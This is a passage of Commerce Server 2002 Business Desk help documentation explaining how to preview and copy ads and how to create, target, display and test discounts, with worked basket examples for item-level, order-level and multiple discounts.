  • If your Business Desk is based on the SupplierActiveDirectory Solution Site and AuthFilter is enabled, the authentication code will not allow you to view an image file. To preview an image file in Business Desk, you must enable anonymous access to any image file that is stored in the Business Desk virtual root folder. For information about enabling anonymous access, see "Enabling AuthFilter for the Supplier Solution Site" in Commerce Server 2002 Help.

To preview the ad

To display the Web page for the ad

To preview the ad

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the ad that contains the image you want to preview, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Campaign item> (ad ID: <number>) screen, in the Ad Display section, verify that the information is entered in the required fields, and then click Preview.
  4. In the Preview dialog box, click Yes to save the ad.

A copy of your ad appears in the display area below the Preview button.

For information about setting up the ad type in the Ad Display section, see Setting Up an Ad Type.

To display the Web page for the ad

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the ad that contains the image you want to preview, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Campaign item> (ad ID: <number>) screen, in the Ad Display section, verify the information is entered in the required fields, and then click the ad in the display area below the Preview button.

The Web page associated with the ad appears in a new Internet Explorer window. You use the Publish Campaigns module to update your site immediately with new information that you have added. For information about publishing changes on your Web site, see Publishing Campaign Changes on Your Web Site.

See Also

Creating an Ad

Sizing an Ad

Setting Up an Ad Type

Publishing Campaign Changes on Your Web Site


Copying an Ad

You can copy an existing ad that has already been created to quickly add additional ads to a campaign. Using an existing ad as a template, you can change the properties of the existing ad to meet the new ad campaign item goals.

To copy an ad

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the ad you want to copy, and then click Copy on the toolbar.
  3. In the Copy Ad item dialog box, do the following:
    Use this | To do this
    Select a customer | Select the customer from the drop-down list from which you want to copy the ad.
    Select a campaign | Select the campaign from the drop-down list from which you want to copy the ad.
  4. Click OK.
  5. In the Campaign Manager <Customer> <Campaign> New (Ad) screen, in the Ad Properties section, in the Ad name box, type the name of the new ad.
  6. Edit the remaining properties as necessary.
  7. To save the ad and return to the Campaign Manager screen, click Save and go back on the toolbar.

The new ad appears in the Campaign Manager tree under the selected customer and campaign.

See Also

Creating an Ad


Creating a Discount

After you create a campaign, you can create a discount. A discount is a campaign item, which you create to apply discounts to any item or category in your catalog. For example, you can apply a 20 percent discount to a Keyboard category in a Computer Hardware catalog. When you create a discount, you specify how and in what form the discount is to appear to the user.

You use the Campaign Manager module to create new discounts, schedule when discounts are to appear on the site, determine to what products, page groups, or target groups the discount applies, and specify how the discount is to be displayed. You can also preview how the discount will appear on the designated Web site or page group.

You use target expressions to target the discount to specific users. For example, you can award preferred site users a ten percent discount on the two most expensive items in their shopping basket. You can also specify how many times a particular discount is shown to a user within a session. After you specify the discount display, you can preview the display before saving it in the Campaign Manager module.

If you want to use discounts in multiple languages, you must recreate each discount in the appropriate language.

Notes

  • For examples that show how to create different types of discounts, see Discount Examples. The examples display the Business Desk for each discount, and the discount results for each user basket.
  • Any changes made to a discount must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

This section contains:

  • Adding Discount Properties
  • Defining the Conditions and Awards, and Targeting the Discount
  • Targeting a Discount to Page Groups and Target Groups
  • Specifying the Discount Display
  • Previewing the Discount Display
  • Copying a Discount


Adding Discount Properties

You can prioritize the order in which discounts are applied when multiple discounts apply to the shopping basket of a user, and specify the start and end dates of the discount. You also establish the status of the discount by making it either active or inactive.

The following figure is an interactive Discount Properties screen. Click the screen for detailed information about each of the highlighted Discount Properties components.

StatusPriorityStart dateEnd date

Note

  • Before you can save the discount, you must set up the discount display. For information about setting up the discount display, see Specifying the Discount Display.

To add discount campaign properties

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand the customer for whom you want to create the discount. Select the campaign for which you want to create a new discount, click Add on the toolbar, and then select New Discount from the drop-down list.
  3. In the Campaign Manager <Customer Name> <Campaign Name> - New (discount) screen, in the Discount Properties section, do the following:
    Use this | To do this
    Discount name Type the name for the discount.

    Note

    • When creating discounts in multiple languages, note that the Discount name has a size limitation of 50 characters.
    Status Select the discount campaign status from the drop-down list.

    The status can be either Active or Inactive.
    Deleted This is a non-editable box.

    This box specifies if the discount has been deleted. For information about deleting and restoring campaign items, see Deleting and Restoring a Campaign Item.
    Priority Select the priority of the discount from the drop-down list.

    The priority of the discount determines which discounts are applicable in the basket. For example, a discount with a priority of 10 is applied over a discount with a priority of 20.
    Comments | Type any comments that are pertinent to this discount.
    Start date | Type or select the discount start date from the drop-down calendar.
    End date | Type or select the discount end date from the drop-down calendar.

You can now define and target your discount. For information about defining and targeting your discount, see Defining the Conditions and Awards, and Targeting the Discount.

Note

  • Before you can save the discount, you must set up the discount display. For information about setting up the discount display, see Specifying the Discount Display.

Important

  • Any changes made to your discount must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

See Also

Discount Examples

Defining the Conditions and Awards, and Targeting the Discount

Targeting a Discount to Page Groups and Target Groups

Specifying the Discount Display

Publishing Campaign Changes on Your Web Site


Defining the Conditions and Awards, and Targeting the Discount

You identify the product or category of products in the catalog to which you want to apply the discount, and state the amount of the discount (either in a dollar value or unit value). You can apply a discount against an entire order (an order-level discount), or you can apply it against specific items in the order (an item-level discount).

To define the discount definition, you set up the conditions of the discount, the award, and the eligibility requirements. Eligibility requirements determine to which users the discount should apply.

Note

  • For examples that show how to set up different types of discount conditions, awards, and eligibility requirements, see Discount Examples. The examples display the Business Desk Discount Definition screen for each discount, and the discount results for each user basket.

Click the following interactive screen for detailed information about each of the highlighted Discount Definition components.

?????????

Notes

  • Before you can save the discount, you must set up the discount display. For information about setting up the discount display, see Specifying the Discount Display.

Important

  • Any changes made to your discount must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

To define the discount definition

  • In the Campaign Manager <Customer Name> <Campaign Name> - New (discount) screen, in the Discount Definition section, do the following:
    Use this | To do this
    Buy: Anything Select this check box if there is no condition requirement. If this check box is selected, if there is a product in the basket that can be awarded, the discount will always apply. For more information about the Buy Anything condition, see Discount Conditions.

    Leave this check box unchecked if the discount is to be applied to specific products or categories of products that are purchased, and then follow the remaining steps outlined in this procedure.
    Buy: Buy Condition box
    • Type box. Select the type of Buy condition.

      The type can be either Value or Quantity. For example, the user can buy 3 CDs (quantity) or spend $40.00 (value) to receive an award.

      Note
      • Commerce Server 2002 does not support decimals in quantity values.
    • Value box. Enter the dollar value or unit value of the discount, depending on the measure you selected in the Type box for the discount.
    • Catalog expression. Select the option that pertains to this discount from the drop-down list. Values for this box are [any product], [Product Picker] and [Expression Builder]:

      [any product]. Select this option if the discount will be applied to any product that is purchased.

      [Product Picker]. Select this option if the discount will be applied if a specific product or category of products is purchased from your catalog. Use the Product Picker dialog box to find specific products or categories in your catalogs. For information about how to use the Product Picker, see New from Product Picker.

      -Or-

      Click the ellipsis […] button or select the [Expression Builder] option to open the Catalog Expressions dialog box. You use catalog expressions to specify a product or category of products to which the discount will be applied. For information about building catalog expressions, see Creating a Catalog Expression.

      Notes

      • Both AND and OR cumulative conditions are allowed in the Catalog Expression Builder, but only the OR condition is supported for discounts. The AND condition is not supported and should not be used.
      • Additional products and categories appear in the drop-down list if they have been previously selected.

    For information about discount conditions, see Discount Conditions.
    Get: Free Shipping Select this check box to provide free shipping as a discount award to all products ordered.

    Leave the Free Shipping check box unchecked to specify the products or category of products that will receive discount awards, and then follow the remaining steps outlined in this procedure.

    For information about free shipping as a discount award, see Free Shipping.
    Get: Order Subtotal Discount Select this check box to apply the discount to the order subtotal.

    The amount of the order subtotal is distributed across the line items in the user basket.

    For information about order subtotal discounts, see Order Subtotal Discounts.
    Get Get Condition box
    • Number. Type the number of units of the catalog item that the user is awarded when the rules of the discount are met.
    • Catalog expression. Select the option that pertains to this discount from the drop-down list. Values for this box are [any product], [Product Picker], and [Expression Builder].

      [Any product]. Select this option if the discount award pertains to any product in your catalog.

      [Product Picker]. Select this option if the award pertains to a specific product or category in your catalog. The Product Picker dialog box provides an interface you use to find specific products or categories in your catalogs. For information about how to use the Product Picker, see New from Product Picker.

      -Or-

      Click the ellipse button […] or select the [Expression Builder] option to open the Catalog Expressions dialog box. You can create a catalog expression to specify which categories or products you want to apply the award to. For information about building catalog expressions, see Creating a Catalog Expression.

      Notes

      • Both AND and OR cumulative conditions are allowed in the catalog Expression Builder, but only the OR condition is supported for discounts. The AND condition is not supported and should not be used.
      • Additional products and categories appear in the drop-down list if they have been previously selected.
    • Type. Select the unit of measure for the discount award from the drop-down list.

      The unit of measure can be either Price or Percent.

    • Value. Enter the dollar value or unit value of the discount award, either by price or percent depending on the measure you selected for the discount award.

    For information about discount awards, see Discount Awards.
    Limit Select a discount limit from the drop-down list. A limit of None indicates no limit for the discount. There is a maximum discount of 10 awards per basket.

    Note

    • If you want to specify a limit on the number of awards a user can receive on multiple baskets, contact your site developer.

    For information about discount limits, see Discount Limits.
    Apply offer on Get product alone Select this disjoint discount option if you do not want the buy condition to be reused as an award.

    For information about disjoint discounts, see Disjoint Discounts.
    Apply offer on both Get and Buy Products Select this disjoint discount if you want the buy condition to be reused as an award.

    For information about disjoint discounts, see Disjoint Discounts.
    Discount is click required. Only apply discount when discount ad is clicked Select this check box to have the discount apply only when the user clicks on the discount.

    If you do not want the discount to be click-required, leave this box unchecked.

    Note

    • Site developers can extend this type of discount for other uses, such as offering coupons, which the user must have in order to enjoy the discount.

    For information about click required discounts, see Click Required Discounts.
    Eligibility Requirements: Expression Available | Select the expression(s) for the discount from the list of available expressions, and then click Add. For example, you can select target expressions that you have created to target the user(s) or user group(s) of users that will receive the discount. For information about creating target expressions, see Creating a Target Expression.
    Discount Interactions:

    Allow conditions of this discount to be reused as the conditions for other discounts

             Select this check box if you want a condition item to be reused as another condition item.

    For information about discount interaction policies, see Multiple Discounts.
    Discount Interactions:

    Allow conditions of this discount to enjoy awards of other discounts

             Select this check box if you want a condition item to be reused as an award item.

    For information about discount interaction policies, see Multiple Discounts.
    Discount Interactions:

    Allow awards of this discount to be reused as conditions of other discounts

             Select this check box if you want an award item to be reused as a condition item.

    For information about discount interaction policies, see Multiple Discounts.
    Discount Interactions:

    Allow awards of this discount to also enjoy awards of other discounts

             Select this check box if you want an award item to be used as another award item.

    For information about discount interaction policies, see Multiple Discounts.

The condition, award, and eligibility requirements are specified for the discount.

Before you can save the discount, you must set up the discount display. For information about setting up the discount display, see Specifying the Discount Display.

Important

  • Any changes made to your discount must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

See Also

Discount Examples

Adding Discount Properties

Targeting a Discount to Page Groups and Target Groups

Specifying the Discount Display

Publishing Campaign Changes on Your Web Site


Targeting a Discount to Page Groups and Target Groups

You can specify if a discount is to appear on all pages of the site or if it is to appear only on assigned page groups. You use page groups to specify on which Web pages a discount will appear. For example, if your Web site is an online newspaper, you can assign a discount for golf clubs to only run on the Sports page.

You can display your discounts on all of your page groups, or you can select from the page groups that have been created in the Page Groups section in the Reference Tables module. For information about creating page groups, see Adding Page Groups.

Note

  • Before you can target an ad to a page group, your site developer must add the necessary code to enable the ad to display on the page. For information about enabling ads to display on a page, see the Ad Sitelet sample in the Commerce Server 2002 Software Development Kit.

You can also specify the target groups to which the discount should be displayed. Target groups are a collection of two or more expressions used to target a specific group of users. You can use target groups to include specified users in a group, or to exclude specified users from a group. For information about creating target groups, see Creating a Target Group.

Note

  • For examples that show how to set up different types of discount conditions, awards, and eligibility requirements, see Discount Examples. The examples display the Business Desk Discount Definition screen for each discount, and the discount results for each user basket.
  • Before you can save the discount, you must set up the discount display.
  • Any changes made to your discount must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

To target a discount to a page group

To target a discount to a target group

To target a discount to a page group

  1. In Campaigns, click Campaign Manager, select the discount for which you want to specify the discount target, and then click Open on the toolbar.
  2. In the Campaign Manager <Customer> <Campaign> <Campaign Discount Item> (discount ID: <number>) screen, in the Discount Display Target section, do the following:
    Use this To do this
    Use these targets in addition to selected eligible targets Select this option if you want to use a page group(s) and/or a target group(s) in addition to the selected discount eligibility requirement expressions, which are selected in the Discount Definition screen. For example, in addition to targeting users whose favorite sport is biking, you can target the discount to display on a certain page group, such as the sports page on a Newspaper site.

    For information about page groups, see Adding Page Groups. For information about target groups, see Creating a Target Group.
    Use these targets instead of selected eligible targets Select this option if you want to use a page group(s) and/or a target group(s) instead of the selected discount eligibility requirement expressions, which are selected in the Discount Definition screen.

    For information about page groups, see Adding Page Groups. For information about target groups, see Creating a Target Group.
    Show on all Page Groups Select this check box to display the ad on all page groups of the Web site.

    To assign the discount to a specific page group, clear this check box, and follow the remaining steps in this procedure.
    Page groups: Available Select the page group(s) you want to assign, and then click Add.

    The page group is moved to the Assigned box. To remove a page group from the Assigned box, click Remove. This moves the page group to the Available box.

The selected page group(s) and discount campaign target information is specified for the discount.

To target a discount to a target group

  1. In Campaigns, click Campaign Manager, select the discount for which you want to specify the discount target, and then click Open on the toolbar.
  2. In the Campaign Manager <Customer> <Campaign> <Campaign Discount Item> (discount ID: <number>) screen, in the Discount Display Target section, do the following:
    Use this To do this
    Use these targets in addition to selected eligible targets Select this option if you want to use a page group(s) and/or a target group(s) in addition to the selected discount eligibility requirement expressions, which are selected in the Discount Definition screen. For example, in addition to targeting users whose favorite sport is biking, you can target the discount to display on a certain page group, such as the sports page on a Newspaper site.

    For information about page groups, see Adding Page Groups. For information about target groups, see Creating a Target Group.
    Use these targets instead of selected eligible targets Select this option if you want to use a page group(s) and/or a target group(s) instead of the selected discount eligibility requirement expressions, which are selected in the Discount Definition screen.

    For information about page groups, see Adding Page Groups. For information about target groups, see Creating a Target Group.
    Target groups: Available Select the target group(s) this discount applies to, and then click Add.

    The target group is moved to the Assigned box. To remove a target group from the Assigned box, click Remove. This moves the target group to the Available box.

    For information about target groups, see Target Groups, and Creating a Target Group.

The selected target group(s) and discount campaign target information is specified for the discount.

Before you can save the discount, you must set up the discount display. For information about setting up the discount display, see Specifying the Discount Display.

Important

  • Any changes made to your discount must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

See Also

Discount Examples

Adding Discount Properties

Defining the Conditions and Awards, and Targeting the Discount

Specifying the Discount Display

Publishing Campaign Changes on Your Web Site


Specifying the Discount Display

A discount contains two different types of displays, a basket display and an ad display.

  • Basket display. The basket display explains to users, either in text or HTML, the discount they are given. It is important that the discount is explained clearly to users, because they may abandon the basket if they are confused.
  • Ad display. The ad display specifies how and in what form a discount appears to the user. The Content Selection Framework (CSF) determines whether the ad is to be displayed promoting the discount. For example, you can display a large ad on your home page promoting a 20 percent discount for all products in your catalog. You can also specify how many times a particular discount is to appear to a user within a session.

To specify the basket display

To specify the ad display

To specify the basket display

  • In the Campaign Manager <Customer> <Campaign> <Discount Campaign Item>(discount ID: <number>) screen, in the Discount Display section, do the following:
    Use this | To do this
    Exposure limit Select the number of times the ad can be shown to a user within a session from the drop-down list.

    The maximum number of times the ad can be shown to a user is ten times within one session.
    Basket display | Type the text or HTML text (in HTML format) that explains the discount to the user.

To specify the ad display

You perform two main steps to display the ad to promote the discount. These steps are:

  • Sizing a Discount
  • Setting Up a Discount Type

Important

  • Any changes made to your discount must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

Sizing a Discount

Commerce Server 2002 includes a set of standard content sizes that you can apply to your discounts. In addition, you can specify your own custom content sizes. Whether you want to apply a standard size or a custom size, use the following procedure to apply the content size to a discount.

Note

  • To specify custom content sizes, use the Reference Tables module. For information, see Specifying Content Sizes.

To size a discount

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand the customer, and then expand the campaign for which the discount was created. Select the discount you want to size, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Discount Campaign Item>(discount ID: <number>) screen, in the Discount Display section, in the Size box, select the discount size from the drop-down list.

You have specified the content size for the discount. You can now set up the discount type.

Setting Up a Discount Type

You may require a specific type of discount for your campaign. For example, you may want a discount that contains an image or you may want a discount that contains text only.

To set up a discount type

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand the customer, expand the campaign for which the discount was created, select the discount for which you want to set up a discount type, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Discount Campaign Item>(discount ID: <number>) screen, in the Discount Display section, in the Type box, select the type of discount you want from the drop-down list.

    Note

    • Different boxes appear below the Type box depending on the type of ad you select. For more information about setting up your ad campaign display for a specific type of ad, see the remaining procedures in this section.

    You can set up the following types of discounts:

    Image Discount

    Text Discount

    HTML Discount

    Non-Clickable Image Discount

    Buy Now Discount

    Windows Media Services Discount

    Directional Vignette Discount

  4. To save the discount and return to the Campaign Manager screen, click Save and go back on the toolbar.

    The discount is saved with the campaign.

Important

  • Any changes made to your discount must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

Image Discount

You link a discount image to the designated Web page(s) on which the discount is scheduled to appear. Users see the image when they visit the Web pages where the discount is displayed.

To set up an image discount

  • In the Discount Display section, do the following:
    Use this | To do this
    Size | Select the size of the discount you want.
    Type | Select Image.
    Image URL Type the URL for the image that you want displayed in the discount.

    Note

    • You must type an absolute URL, for example, http://www.microsoft.com.
    Click URL Type the URL to which the displayed discount links.

    Note

    • You must type an absolute URL, for example, http://www.microsoft.com.
    Alternate text | Type the alternate text that users see when graphics are not enabled on their computer.

The discount is set up as an image discount.

Text discount

A text discount is composed of text only. Users see the text when they visit the Web pages where the discount is displayed.

To set up a text discount

  • In the Discount Display section, do the following:
    Use this | To do this
    Size | Select the size of the discount you want.
    Type | Select Text.
    Text | Type the text that is to be displayed with the discount.
    Click URL Type the URL to which the displayed discount links.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.

The discount is set up as a text discount.

HTML Discount

An HTML discount is composed of HTML code. Users see the resulting text when they visit the Web pages where the discount is displayed.

To set up an HTML discount

  • In the Discount Display section, do the following:
    Use this | To do this
    Size | Select the size of the discount you want.
    Type | Select HTML.
    HTML Text | Type the HTML text (in HTML format) that is to be displayed in the discount.

The discount is set up as an HTML discount.

Non-Clickable Image Discount

A non-clickable image discount is a graphical image that users see when they visit the Web pages where the discount is scheduled to appear. The discount is not linked to a Web page.

To set up a non-clickable image discount

  • In the Discount Display section, do the following:
    Use this | To do this
    Size | Select the size of the discount you want.
    Type | Select Non-Clickable Image.
    Image URL Type the URL for the image that you want displayed in the discount.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.
    Alternate Text | Type the alternate text that users see when graphics are not enabled on their computer.

The ad is set up as a non-clickable image ad.

Buy Now Discount

Buy now discounts enable users to purchase goods from any Web page on the Internet. When a user clicks a product image, a dialog box appears prompting the user for shipping address and credit card information.

To set up a buy now discount

  • In the Discount Display section, do the following:
    Use this | To do this
    Size | Select the size of the ad you want.
    Type | Select Buy Now.
    Image URL Type the URL for the image that is to be displayed in the ad.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.
    Click URL Type the URL to which the displayed ad links.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.
    Alternate Text | Type the alternate text that the user sees if graphics are not enabled on their computer.
    Window Width | Type the width of the ad in pixels.
    Window Height | Type the height of the ad in pixels.

The ad is set up as a buy now discount.

Windows Media Services Discount

A Windows Media Services discount displays high quality audio and video advertisements.

To set up a Windows Media Services discount

  • In the Discount Display section, do the following:
    Use this | To do this
    Size | Select the size of the discount you want.
    Type | Select Windows Media Services.
    Windows Media Services Advanced Streaming Format (ASF) | Type the Windows Media Services ASF for the discount.
    Click URL Type the URL to which the displayed discount links.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.

The discount is set up as a Windows Media Services discount.

Directional Vignette Discount

A vignette discount is composed of text that is displayed adjacent to the image where the discount is displayed.

To set up a directional vignette discount

  • In the Discount Display section, do the following:
    Use this | To do this
    Size | Select the size of the discount you want.
    Type Select Left, Right, or Top Vignette.

    Left - places the discount to the left of the text.

    Right - places the discount to the right of the text.

    Top - places the discount above the text.
    Image URL Type the URL for the image that is to be displayed in the discount.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.
    Text | Type the text that is to be displayed adjacent to the discount.
    Click URL Type the URL to which the displayed discount links.

    Note

    You must type an absolute URL, for example, http://www.microsoft.com.
    Alternate Text | Type the alternate text that users see if graphics are not enabled on their computer.

The discount is set up as a directional vignette discount.

See Also

Specifying Content Sizes

Previewing the Discount Display

Publishing Campaign Changes on Your Web Site


Previewing the Discount Display

After you define the discount display, you can preview the display before you publish it on your Web site. The preview displays the ad in the Discount Display section in Business Desk. You can also preview the Web page that appears when the user clicks on the discount if the discount is clickable.

Notes

  • You cannot display the actual discount that is applied to the basket in Business Desk. The actual discount can only be seen on the Web site. For discount examples, and the results that appear in the user basket, see Discount Examples.
  • If your Business Desk is based on the SupplierActiveDirectory Solution Site and AuthFilter is enabled, the authentication code will not allow you to view an image file. To preview an image file in Business Desk, you must enable anonymous access to any image file that is stored in the Business Desk virtual root folder. For information about enabling anonymous access, see “Enabling AuthFilter for the Supplier Solution Site” in Commerce Server 2002 Help.

To preview the discount

To display the Web page for the discount

To preview the discount

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the discount for which you want to preview the discount campaign display, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Campaign Discount Item> (discount ID: <number>) screen, in the Discount Display section, click Preview.
  4. In the Preview dialog box, click Yes to save the discount.

A copy of your discount appears in the display area below the Preview button.

The Web page associated with the discount appears in a new Internet Explorer window.

To display the Web page for the discount

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the discount that contains the image you want to preview, and then click Open on the toolbar.
  3. In the Campaign Manager <Customer> <Campaign> <Campaign item> (discount ID: <number>) screen, in the Discount Display section, verify the information is entered in the required fields, and then click the discount in the display area below the Preview button.

The Web page associated with the discount appears in a new Internet Explorer window.

Important

  • Any changes made to your discount must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

See Also

Creating a Discount

Specifying the Ad Display

Previewing an Ad


Copying a Discount

You can copy an existing discount to quickly add additional discounts for a campaign. Using an existing discount as a template, you can change the properties of the existing discount to meet the new discount campaign item goals.

To copy a discount

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select the discount you want to copy, and then click Copy on the toolbar.
  3. In the Copy Discount item dialog box, do the following:
    Use this | To do this
    Select a customer | Select the customer from the drop-down list from which you want to copy the discount.
    Select a campaign | Select the campaign from the drop-down list from which you want to copy the discount.
  4. Click OK.
  5. In the Campaign Manager <Customer> <Campaign> New (discount) screen, in the Discount Properties section, in the Discount name box, type a name for the new discount.
  6. Edit the remaining properties as needed, and then to save the discount and return to the Campaign Manager screen, click Save and go back on the toolbar.

The new discount appears in the Campaign Manager tree under the customer and campaign.

See Also

Creating a Discount


Discount Examples

The following examples display the Business Desk Discount Definition screen for each discount, and the discount results in each user basket. These examples identify products or categories in a catalog to which the discount will apply, the amount of the discount, and award(s) the user receives. For step-by-step instructions for creating a discount, see Creating a Discount.

As you go through the following examples, it is important to understand the mechanics of each discount. The results of each discount are dependent on each of the discount components, such as priority, condition, award, and discount interaction policies. For information about how discounts are applied when there are multiple discounts, see Discount Application Policies.

Notes

  • Because there are numerous discount scenarios, and you cannot anticipate what users will put in their basket, it is recommended that you create your discounts on a staging server so you can test your discount scenarios before you put your discounts into production.

Important

  • Any changes made to your discount must be published into production before they will appear on the Web site. For information about publishing changes to your Web site, see Publishing Campaign Changes on Your Web Site.

Click the following interactive screen for detailed information about each of the highlighted Discount Definition components.

Buy ConditionsFree ShippingOrder Subtotal DiscountGet ConditionsDiscount LimitDisjoint DiscountsClick RequiredEligibility RequirementsDiscount Interactions

This section contains examples for the following types of discounts:

  • Item-level Discount Examples
  • Order-level Discount Examples
  • Multiple Discount Examples
  • Complex Discounts Examples


Item-level Discount Examples

Item-level discounts apply to specific products in the basket. You can apply multiple discounts to a single line item or to a single order. You can create item-level discounts that reduce the price of your products by a percentage or dollar amount.

Item-level: Buy A, get B at 10 percent off

Item-level: Buy A, get $20.00 off B

Item-level: Buy A, get B at 10 percent off

The following Discount Definition screen shows how to create an item-level discount that offers a 10 percent discount off a catalog item if the user buys an item in the Backpack category.

Condition: Buy one catalog item in the Backpack category

Award: Get 10 percent off a University backpack (AW140-13)

Discount interaction policy: None

Priority: 10

Item-level discount - Buy A, get B at 10 percent off

The following basket shows a 10 percent discount off the University backpack. The discount condition is met because the user put the Aces backpack (AW325-13) from the Backpack category in the basket. Therefore, the 10 percent award on the University backpack (AW140-13) is applied.

User basket for Discount Scenario 1

Item-level: Buy A, get $20.00 off B

The following Discount Definition screen shows how to create an item-level discount that offers a $20.00 discount off a catalog item.

Condition: Buy one Big Sur sleeping bag (AW200-12)

Award: Get $20.00 off a Pacific backpack (AW151-13)

Discount interaction policy: None

Priority: 10

Discount definition screen

The following basket shows a $20.00 discount off the Pacific backpack. The discount condition is met because the user put the Big Sur sleeping bag in the basket. Therefore, the $20.00 award on the Pacific backpack is applied.

See Also

Creating a Discount

Defining the Discounts and Awards, and Targeting the Discount

Discounts

Discount Conditions

Discount Awards

Discount Eligibility Requirements


Order-level Discount Examples

Order-level discounts apply to all products in a shopping basket. For example, free shipping is a type of order-level discount: you can give users free shipping for all products in their basket. The order-level discounts Commerce Server offers are free shipping and percentage or dollar amounts off the total price of an order.

Order-level: Buy $300.00 of A, and get free shipping

Order-level: Buy $200.00 of A, get 10 percent off the order subtotal

Order-level: Buy two of A, get $10.00 off the order subtotal

Order-level: Buy $300.00 of A, and get free shipping

The following Discount Definition screen shows how to create a shipping discount that offers free shipping, if the user buys catalog items in the Carabiner category that totals $300.00 or more.

Condition: Buy catalog items worth $300.00 or more in the Carabiner category

Award: Get free shipping

Discount interaction policy: None

Priority: 10

Discount Definition Screen - Shipping Discount

The following basket shows a free shipping discount. The discount condition is met because the user places 22 Petzl Spirits (AW014-08) in the basket, which total more than $300.00 in the Carabiner category. Therefore, the free shipping award is applied to the order subtotal.

Order-level: Buy $200.00 of A, get 10 percent off the order subtotal

The following Discount Definition screen shows how to create an order-level discount that offers a 10 percent discount off the order subtotal if the user buys catalog items totaling at least $200.00.

Condition: Buy catalog items worth $200.00 or more in the Boots category

Award: 10 percent of the order subtotal

Discount interaction policy: None

Priority: 10

The following basket shows a 10 percent discount off the order subtotal. The discount condition is met because the user placed $200.00 worth of boots in the basket. Therefore, the 10 percent discount award is applied to the order subtotal. The amount of the award is distributed across the three line items in the basket. If the user requests a refund, it will be handled properly, because the discount is applied to each line item, instead of applying it to the order subtotal.

OrderSubtotal discount of 10 percent

Order-level: Buy two of A, get $10.00 off the order subtotal

The following Discount Definition screen shows how to create an order-level discount that offers a $10.00 discount off the order subtotal if the user buys two catalog items.

Condition: Buy two pairs of Dunes boots (AW074-04)

Award: $10.00 of the order subtotal

Discount interaction policy: None

Priority: 10

OrderSubtotal discount of 10 dollars

The following basket shows a $10.00 discount off the order subtotal. The discount condition is met because the user placed two pairs of Dunes boots in their basket. Therefore, the $10.00 discount award is applied to the order subtotal. The amount of the award is distributed against the line item in the basket. If the user requests a refund, it will be handled properly, because the discount is applied to the line item, instead of applying it to the final price.

User basket - order subtotal - dollar discount

See Also

Creating a Discount

Defining the Discounts and Awards, and Targeting the Discount

Discounts

Discount Conditions

Discount Awards

Discount Eligibility Requirements


Multiple Discount Examples

Commerce Server 2002 provides the ability to apply multiple discounts to an item or an order, and control over the sequence in which the discounts are applied. You can also mix both item-level and order-level discounts in a single order.

Item-level/Item-level: Buy A, Get B at 50 percent off, and buy A, Get C at $10.00 off

Item-level/Item-level: Buy X, Get A at 50 percent off, and buy B, Get X at 50 percent off

Item-level/Item-level: Buy A, Get X at 50 percent off, and buy X, Get B at 50 percent off

Item-level/Item-level: Buy A, Get X at $10.00 off, and buy B, Get X at $20.00 off

Order-level/Order-level: Buy more than $100.00 of A, get $10.00 off the total, and buy 10 of A, get 10 percent off the total

Item-level/Order-level: Buy A, get B at 10 percent off, and buy C, get $10.00 off the total

Item-level/Item-level: Buy A, get B at 50 percent off, and buy A, Get C at $10.00 off

The following Discount Definition screens show how to create a discount using the discount interaction policy that allows the condition of a discount to be reused as the condition for another discount. For more information about discount interaction policies, see Multiple Discounts.

Condition: Buy a Petzl harness (QW072-10)

Award: Get a 50 percent discount off the El Captain harness (AW053-10), and $10.00 off the Black Diamond Bod harness (AW032-32).

Discount interaction policy: Allow conditions of this discount to be reused as the conditions for other discounts

Priority: 10

Discount Definition screen - Multiple discount

Priority: 20 Discount Definition screen - Multiple discount

The following basket shows a 50 percent discount off the El Capitan harness, and a $10.00 discount off the Black Diamond Bod harness. The condition of the discounts is met because the user placed the Petzl Mercury harness in the basket. The discount interaction policy allows the Petzl Mercury harness to be reused as the condition for another discount, therefore, the 50 percent discount award is applied to the El Capitan harness, and the $10.00 discount award is applied to the Black Diamond Bod harness.

Item-level/Item-level: Buy X, Get A at 50 percent off, and buy B, Get X at 50 percent off

The following Discount Definition screens show how to create a discount using the discount interaction policy that allows the condition of a discount to be reused as the award for another discount. For more information about discount interaction policies, see Multiple Discounts.

Condition: Buy one pair of Women’s 4 pocket pants (AW032-01).

Award: Get a 50 percent discount off the Unisex hiking pants (AW055-01).

Discount interaction policy: Allow conditions of this discount to enjoy awards of other discounts.

Priority: 10

Discount Definition screen - Multiple discount

Condition: Buy one pair of Men’s 8 pocket conversion pants (AW046-01).

Award: Get 50 percent off the women’s 4 pocket pant (AW032-01).

Discount interaction policy: None.

Priority: 20

Discount Definition screen Multiple discount

